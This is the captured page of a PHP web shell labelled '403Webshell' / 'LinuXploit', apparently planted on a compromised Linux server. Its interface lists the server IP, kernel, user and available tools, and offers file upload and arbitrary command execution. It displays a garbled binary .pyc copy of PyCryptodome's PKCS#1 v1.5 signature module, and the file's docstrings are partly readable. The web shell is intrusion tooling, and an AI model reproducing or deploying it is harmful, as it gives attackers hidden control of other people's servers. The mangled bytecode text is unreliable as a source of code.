403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/Cryptodome/Signature/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/Cryptodome/Signature/__pycache__/pkcs1_15.cpython-311.pyc
�

8�tc."��b�ddlZddlmZmZmZddlmZmZmZm	Z	Gd�d��Z
d	d�Zd�ZdS)
�N)�ceil_div�
bytes_to_long�
long_to_bytes)�DerSequence�DerNull�DerOctetString�DerObjectIdc�*�eZdZdZd�Zd�Zd�Zd�ZdS)�PKCS115_SigSchemez�A signature object for ``RSASSA-PKCS1-v1_5``.
    Do not instantiate directly.
    Use :func:`Cryptodome.Signature.pkcs1_15.new`.
    c��||_dS)aInitialize this PKCS#1 v1.5 signature scheme object.

        :Parameters:
          rsa_key : an RSA key object
            Creation of signatures is only possible if this is a *private*
            RSA key. Verification of signatures is always possible.
        N)�_key)�self�rsa_keys  �?/usr/lib/python3/dist-packages/Cryptodome/Signature/pkcs1_15.py�__init__zPKCS115_SigScheme.__init__)s����	�	�	�c�4�|j���S)z<Return ``True`` if this object can be used to sign messages.)r
�has_private)rs r�can_signzPKCS115_SigScheme.can_sign3s���y�$�$�&�&�&rc��tjj�|jj��}t
|d��}t||��}t|��}|j�	|��}t||��}|S)a�Create the PKCS#1 v1.5 signature of a message.

        This function is also called ``RSASSA-PKCS1-V1_5-SIGN`` and
        it is specified in
        `section 8.2.1 of RFC8017 <https://tools.ietf.org/html/rfc8017#page-36>`_.

        :parameter msg_hash:
            This is an object from the :mod:`Cryptodome.Hash` package.
            It has been used to digest the message to sign.
        :type msg_hash: hash object

        :return: the signature encoded as a *byte string*.
        :raise ValueError: if the RSA key is not long enough for the given hash algorithm.
        :raise TypeError: if the RSA key has no private half.
        �)�
Cryptodome�Util�number�sizer
�nr�_EMSA_PKCS1_V1_5_ENCODEr�_decryptr)r�msg_hash�modBits�k�em�em_int�m_int�	signatures        r�signzPKCS115_SigScheme.sign7sw��$�/�(�-�-�d�i�k�:�:���W�Q����%�X�q�
1�
1���r�"�"���	�"�"�6�*�*��!�%��+�+�	��rc�h�tjj�|jj��}t
|d��}t|��|krtd���t|��}|j�
|��}t||��}	t||d��g}	|j
�d��}	n#t$rd}	YnwxYw|	s$|�t||d����n#t$rtd���wxYw||vrtd���dS)a|Check if the  PKCS#1 v1.5 signature over a message is valid.

        This function is also called ``RSASSA-PKCS1-V1_5-VERIFY`` and
        it is specified in
        `section 8.2.2 of RFC8037 <https://tools.ietf.org/html/rfc8017#page-37>`_.

        :parameter msg_hash:
            The hash that was carried out over the message. This is an object
            belonging to the :mod:`Cryptodome.Hash` module.
        :type parameter: hash object

        :parameter signature:
            The signature that needs to be validated.
        :type signature: byte string

        :raise ValueError: if the signature is not valid.
        rzInvalid signatureTz1.2.840.113549.2.FN)rrrrr
rr�len�
ValueErrorr�_encryptrr�oid�
startswith�AttributeError�append)
rrr%r r!�
signature_intr#�em1�possible_em1�algorithm_is_mds
          r�verifyzPKCS115_SigScheme.verifyVsR��(�/�(�-�-�d�i�k�:�:���W�a� � ���y�>�>�Q����0�1�1�1�%�i�0�0�
���#�#�M�2�2���F�A�&�&��	2�4�X�q�$�G�G�I�L�
(�"*�,�"9�"9�:M�"N�"N����!�
(�
(�
(�"'����
(����"�
Q��#�#�$;�H�a��$O�$O�P�P�P����	2�	2�	2��0�1�1�1�	2�����l�"�"��0�1�1�1��s0�D�.C	�D�	C�D�C�)D�DN)�__name__�
__module__�__qualname__�__doc__rrr&r3�rrrr#sZ��������
���'�'�'����>4
�4
�4
�4
�4
rrTc�T�tt|j�����g��}|r3|�t�������t
|�����}t|���|���g�����}|t|��dzkrtdt|��z���d|t|��z
dz
z}d|zdz|zS)a�
    Implement the ``EMSA-PKCS1-V1_5-ENCODE`` function, as defined
    in PKCS#1 v2.1 (RFC3447, 9.2).

    ``_EMSA-PKCS1-V1_5-ENCODE`` actually accepts the message ``M`` as input,
    and hash it internally. Here, we expect that the message has already
    been hashed instead.

    :Parameters:
     msg_hash : hash object
            The hash object that holds the digest of the message being signed.
     emLen : int
            The length the final encoding must have, in bytes.
     with_hash_parameters : bool
            If True (default), include NULL parameters for the hash
            algorithm in the ``digestAlgorithm`` SEQUENCE.

    :attention: the early standard (RFC2313) stated that ``DigestInfo``
        had to be BER-encoded. This means that old signatures
        might have length tags in indefinite form, which
        is not supported in DER. Such encoding cannot be
        reproduced by this function.

    :Return: An ``emLen`` byte long string that encodes the hash.
    �z9Selected hash algorithm has a too long digest (%d bytes).���s�)
rr	r+�encoder.rr�digestr(�	TypeError)r�emLen�with_hash_parameters�
digestAlgor?�
digestInfo�PSs       rrr�s��d�{�8�<�8�8�?�?�A�A�C�D�D�J��.����'�)�)�*�*�,�,�-�-�-� ����!2�!2�3�3�F���%�%�'�'��M�M�O�O�����v�x�x��
�S��_�_�R�
����S�VY�Z`�Va�Va�a�b�b�b�	�E�C�
�O�O�+�a�/�	0�B����g�%�
�2�2rc� �t|��S)a�Create a signature object for creating
    or verifying PKCS#1 v1.5 signatures.

    :parameter rsa_key:
      The RSA key to use for signing or verifying the message.
      This is a :class:`Cryptodome.PublicKey.RSA` object.
      Signing is only possible when ``rsa_key`` is a **private** RSA key.
    :type rsa_key: RSA object

    :return: a :class:`PKCS115_SigScheme` signature object
    )r)rs r�newrG�s���W�%�%�%r)T)
�Cryptodome.Util.numberrrrr�Cryptodome.Util.asn1rrrr	rrrGr8rr�<module>rJs���>����I�I�I�I�I�I�I�I�I�I�R�R�R�R�R�R�R�R�R�R�R�R�g
�g
�g
�g
�g
�g
�g
�g
�TB3�B3�B3�B3�H&�&�&�&�&r

Youez - 2016 - github.com/yon3zu
LinuXploit